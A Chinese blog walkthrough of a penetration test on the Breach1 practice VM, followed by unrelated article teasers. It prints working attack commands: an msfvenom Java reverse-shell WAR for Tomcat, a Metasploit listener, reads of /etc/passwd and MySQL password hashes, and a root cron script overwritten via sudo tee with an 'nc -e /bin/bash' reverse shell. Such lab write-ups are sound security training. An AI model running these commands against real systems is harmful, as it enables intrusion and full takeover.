一次breach1靶机的渗透测试

news2024/10/10 8:24:36

1.端口扫描和信息收集

2.CMS后台信息收集

3.解密HTTPS流量

4.tomcat的后台利用

5.提权

1.端口扫描和信息收集:

首先进行主机发现,找到目标机器:

nmap -sP 192.168.110.1/24

 

找到目标机器,进行端口扫描:

nmap -T4 -A -v 192.168.110.140

一共扫到996个开放的端口,正好里面有一个HTTP服务,我们在网页打开看一下:

打开源码发现一个加密的东西,应该是MD5,

解密得到:pgibbons:damnitfeel$goodtobeagang$ta

这看起来像是一个账号和密码

我们继续找一些有用的信息,又发现了一个CMS的管理后台

我们对最初的目录进行目录扫描,看有没有什么遗漏的东西:

dirb http://192.168.110.140

打开看一下:

继续扫一下CMS:

whatweb -v http://192.168.110.140/impresscms/

爆出了一些信息,到这里我们发现了部署的操作系统,但没有发现具体版本,我们可以打开msf去漏洞库看一下有没有相应的漏洞,

searchsploit impresscms

可以将后面的脚本依次利用,但没什么用

2.CMS后台信息收集

 这个后台需要登录,我们之前获得了一个可疑的登录密码,我们试一下

果然,登录成功

随便翻一下,看有没有什么有用的信息

发现一个网址,粘贴到浏览器,下载一个keystore

又发现一个网址,点击,下载一个流量包,并且上面说账号和密码都是tomcat

我们打开流量包看一下:

发现里面有HTTPS,被加密看不了,结合之前我们获得的keystore 应该是获取加密的秘钥

3.解密HTTPS流量

因为我们有一个秘钥,我们查看一下

keytool -list -keystore keystore  密码是:tomcat  (我们之前得到的)

我们生成密钥库,导出证书:

keytool -importkeystore -srckeystore D:\123\keystore -destkeystore D:\123\tomcat.p12 -deststoretype pkcs12 -srcalias tomcat

密码都是tomcat

得到了一个秘钥,我们将秘钥导入到流量包里面解密HTTPS流量

我们解密以后打开一个HTTPS的流量查看一下,正好获得了一个网址:打开

https://192.168.110.140:8443/_M@nag3Me/html

显示我们不能打开页面,因为这是一个HTTPS的页面,需要我们进行抓包操作

我们点击接收风险并且放包

我们得到了一个basic的登录页面,我们继续在流量包里面找看有没有账号密码

我们过滤一下HTTP的流量

ip.src == 192.168.110.140 || ip.dst ==192.168.110.140 and http

tomcat:Tt\5D8F(#!*u=G)4m7zB

登录试一下

成功,并且我们发现这里有一个上传点,要是war包


4.tomcat后台利用

 我们用msfvenom生成一个java的反弹连接war包,

msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=4444 -f war -o kali.war

将其移动到物理机上,我们先开启一个msf监听再上传:

开启监听: use exploit/multi/handler

set payload java/meterpreter/reverse_tcp

set LHOST 192.168.110.128

set LPORT 4444

exploit

我们上传,记住这里点击上传的时候抓包,因为浏览器会进行其他的请求操作,我们要把它过滤了,单独把木马上传上去,然后迅速的点击上传的kali 抓包放包

回显:

反弹成功

5.提权

 我们获得交互式的shell(输入有典型的回显)

 python -c 'import pty;pty. spawn("/bin/bash")'

在当前目录,我们可以进行查找:

1.搜索漏洞

2.find;ls -a

3.history

4.sudo -l    (查看可以用root执行什么权限)

5.查看操作系统版本:uname -a

6.查看password:cat /etc/passwd

看到了操作系统的版本,我们进行查找漏洞:

searchsploit 14.04 Ubuntu

没有对应的版本,我们查看一下

cat /etc/passwd

里面有一个MySQL数据库,我们可以看一下网站部署的路径,查看里面的内容,可能会有数据库连接的账号和密码

cd /var/www

打开看一下:

发现连接数据库的账号为root,密码为空,名字为impresscms

我们连接数据库:

mysql -uroot -p

查看一下数据库:

show tables;

链接上MySQL库:use mysql;

查看表:show tables;

查看:desc user

查询用户名和密码:select user,password from user; 密码可能是MD5

解出密码以后:这个密码可能是数据库的密码,也能是操作系统的登录密码

发现密码,MD5解密:thelaststraw

我们登录milton这个用户,

我们查看历史记录,发现一个用户,我们从这个入手,因为这个用户有sudo的权限

我们找密码,经过一番长时间查找,离谱的是这个密码藏在了网页的图片里面,

我们将图片下载:

wget http://192.168.110.140/images/bill.png

wget http://192.168.110.140/images/cake.jpg

wget http://192.168.110.140/images/initech.jpg

wget http://192.168.110.140/images/milton_beach.jpg

wget http://192.168.110.140/images/swingline.jpg

wget http://192.168.110.140/images/troll.gif

依次查看图片里面的内容:

strings bill.png

最后在一张图片里面发现了密码:coffeestains

我们进行登录

开始查找有用的信息

我们发现一个脚本,打开发现:

这是一个每隔三分钟清理一次其他用户部署的应用删除,那么我们可以利用这个加入一个反弹连接任务

我们查看一下可以用root权限执行的任务:

发现一个执行tee ,和修改脚本不需要密码

这里面有一个tee ,它的作用是把 tee file1 file2 ,可以把file1数据覆盖到file2中去

写一个反弹连接:

echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt

用tee 覆盖:

cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh

查看一下是否成功:

cat /usr/share/cleanup/tidyup.sh

要先建立监听:

nc -lvvp 5555

最多三分钟反弹

反弹成功:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1862986.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

CS144 Lab3 TCPSender复盘

一.基础概念 1.TCPSender在TCPSocket中的地位与作用 Lab0中实现了基于内存模拟的流控制-字节流(ByteStream),底层使用std::deque实现,根据最大容量Capacity进行容量控制。个人理解它相当于应用层的输入输出缓存区,用户…

【opencv - C++ - Ubuntu】putText 显示中文最快方法

话不多说&#xff0c;直接上代码 #include <iostream> #include <opencv2/opencv.hpp> #include <opencv2/freetype.hpp>using namespace std; using namespace cv;int main(void) {Mat image(1000, 1800, CV_8UC3, Scalar(200,162,33));Ptr<freetype::F…

如何找到合适的Python第三方库?

找合适的Python库其实很简单&#xff0c;按照以下三步法&#xff0c;你能找到90%的Python库。 1、百度谷歌搜索 明确自己的需求&#xff0c;用Python来干什么&#xff0c;力求简短明了。比如定位“数据分析”&#xff0c;然后去搜索关键词【Python数据分析第三方库】&#xf…

【嵌入式Linux】i.MX6ULL 外部中断服务函数的初始化

文章目录 1. Cortex-A7 中断系统1.1 分析1.2 具体处理流程 2. 外部中断服务函数的初始化2.1 基本流程分析2.2 具体代码分析2.2.1. 定义中断处理类型和结构体2.2.2. 初始化中断系统2.2.3. 注册中断处理函数2.2.4. 具体的中断处理逻辑2.2.5. 默认的中断处理函数 3. 完整代码 本文…

django学习入门系列之第三点《案例 小米商城二级菜单》

文章目录 样例划分区域搭建骨架logo区域完整代码 小结往期回顾 样例 划分区域 搭建骨架 <!-- 二级菜单部分 --> <div class"sub-header"><div class"container"><div class"logo">1</div><div class"sea…

[word] Word表格怎么填充序列号? #微信#微信#笔记

Word表格怎么填充序列号&#xff1f; Word表格怎么填充序列号&#xff1f;在Excel中填充序列号是很轻松的事情&#xff0c;在Word表格中填充序列号就没那么简单&#xff0c;但是还是有小技巧&#xff0c;可以实现Word表格序号填充&#xff0c;还能自动更新。 1、插入序号 先…

JAVAEE之网络原理_传输控制协议(TCP)的滑动窗口、流量控制、拥塞控制、延迟应答、捎带应答机制

前言 在前面几节&#xff0c;我们讲解了TCP协议的基本概念、报文格式。还介绍了确认应答机制、超时重传、连接管理机制&#xff0c;在本节中 我们将会继续介绍TCP协议的其他机制。 一、滑动窗口机制&#xff08;效率机制&#xff09; 在前面的章节中我们讨论了确认应答策略&…

C++ ─── vector的实现

知识点&#xff1a; ① 因为vector是模版&#xff0c;所以声明和定义都放在.h中&#xff0c;防止出现编译错误 .h不会被编译&#xff0c;在预处理中.h在.cpp中展开所以在编译时只有.cpp 而 .cpp顺序编译&#xff0c;只会进行向上查找&#xff0c;因此至少有函数的声明。 ②memc…

【Linux】进程 | 控制块pcb | task_struct | 创建子进程fork

目录 Ⅰ. 进程的概念&#xff08;Process&#xff09; 1. 什么是进程&#xff1f; 2. 多进程管理 3. 进程控制块&#xff08;PCB&#xff09; task_struct 的结构 Ⅱ. 进程查看与管理 1. 使用指令查看进程 2. /proc 查看进程信息 3. 获取进程 ID 4. 创建子进程 原因…

在Ubuntu22.04 使用stable-diffusion-webui 秋叶整合包

背景 众所周知&#xff0c;赛博菩萨已经发布了windows下的整合包&#xff0c;开箱即用&#xff0c;且集成度较高。 那我为啥非要在Ubuntu下使用呢&#xff1f; 当然是因为主力机就是Ubuntu系统啦。而且涉及到sd webui API 的调用&#xff0c;在Ubuntu 下调试更加方便一点。 那…

PG实践|内置函数之GENERATE_SERIES之深入理解

&#x1f4eb; 作者简介&#xff1a;「六月暴雪飞梨花」&#xff0c;专注于研究Java&#xff0c;就职于科技型公司后端工程师 &#x1f3c6; 近期荣誉&#xff1a;华为云云享专家、阿里云专家博主、腾讯云优秀创作者、ACDU成员 &#x1f525; 三连支持&#xff1a;欢迎 ❤️关注…

2024年第十五届蓝桥杯青少组大赛8月24日开启

据蓝桥杯青少组官网显示&#xff0c;2024年第十五届蓝桥杯青少组大赛8月24日开启。 蓝桥杯青少组历届题库地址&#xff1a;http://www.6547.cn/question/cat/2 蓝桥杯青少组历届真题下载&#xff1a;http://www.6547.cn/wenku/list/10

【神经网络】CNN网络:深入理解卷积神经网络

&#x1f388;个人主页&#xff1a;豌豆射手^ &#x1f389;欢迎 &#x1f44d;点赞✍评论⭐收藏 &#x1f91d;希望本文对您有所裨益&#xff0c;如有不足之处&#xff0c;欢迎在评论区提出指正&#xff0c;让我们共同学习、交流进步&#xff01; CNN网络&#xff1a;深入理解…

VideoLLaMA 2:多模态视频理解新突破,音频理解能力再升级,挑战 GPT-4V

前言 近年来&#xff0c;人工智能技术飞速发展&#xff0c;尤其是大模型的出现&#xff0c;为视频理解和生成领域带来了前所未有的机遇。然而&#xff0c;现有的视频大模型&#xff08;Video-LLM&#xff09;在处理视频中复杂的时空信息和音频信息方面仍存在不足&#xff0c;例…

【C++11(二)】lambda表达式和可变参数模板

一、可变参数模板 C11的新特性可变参数模板 能够让您创建可以接受 可变参数的函数模板和类模板 // Args是一个模板参数包&#xff0c;args是一个函数形参参数包 // 声明一个参数包Args...args&#xff0c;这个参数包中可以包含0到任意个模板参数。 template <class ...Arg…

笔记101:OSQP求解器的底层算法 -- ADMM算法

前言1&#xff1a;这篇博客仅限于介绍拉格朗日乘子法&#xff0c;KKT条件&#xff0c;ALM算法&#xff0c;ADMM算法等最优化方法的使用以及简版代码实现&#xff0c;但不会涉及具体的数学推导&#xff1b;不过在下面我会给出具体数学推导的相关文章和截图&#xff0c;供学有余力…

Elasticsearch:使用 Llamaindex 的 RAG 与 Elastic 和 Llama3

这篇文章是对之前的文章 “使用 Llama 3 开源和 Elastic 构建 RAG” 的一个补充。我们可以在本地部署 Elasticsearch&#xff0c;并进行展示。我们将一步一步地来进行配置并展示。你还可以参考我之前的另外一篇文章 “Elasticsearch&#xff1a;使用在本地计算机上运行的 LLM 以…

在线epub阅读器epub;在线图书阅读器;专门为epub定制的阅读器;免费在线电子图书epub阅读器

背景&#xff1a;不记得某时某刻了&#xff0c;就是当时想要使用电脑阅读epub图书&#xff0c;也找了好些个在线epub阅读器&#xff0c;但总有一些不如意的地方&#xff0c;如某些功能需要会员之类的&#xff0c;突发临想的就想到自己开发一个&#xff0c;就此&#xff0c;一个…

大模型RAG技术:构建高效、可信赖的知识检索系统

前言 LLM 问题 幻觉&#xff1a;在没有答案的情况下提供虚假信息。 过时&#xff1a;当用户需要特定的当前响应时&#xff0c;提供过时或通用的信息。 来源&#xff1a;从非权威来源创建响应。由于术语混淆&#xff0c;不同的培训来源使用相同的术语来谈论不同的事情&#…

C# Onnx Yolov8-OBB 旋转目标检测 行驶证副页条码+编号 检测,后续裁剪出图片并摆正显示

C# Onnx Yolov8-OBB 旋转目标检测 行驶证副页条码编号 检测&#xff0c;后续裁剪出图片并摆正显示 目录 效果 模型信息 项目 代码 下载 效果 模型信息 Model Properties ------------------------- date&#xff1a;2024-06-25T10:59:15.206586 description&#xff1a;…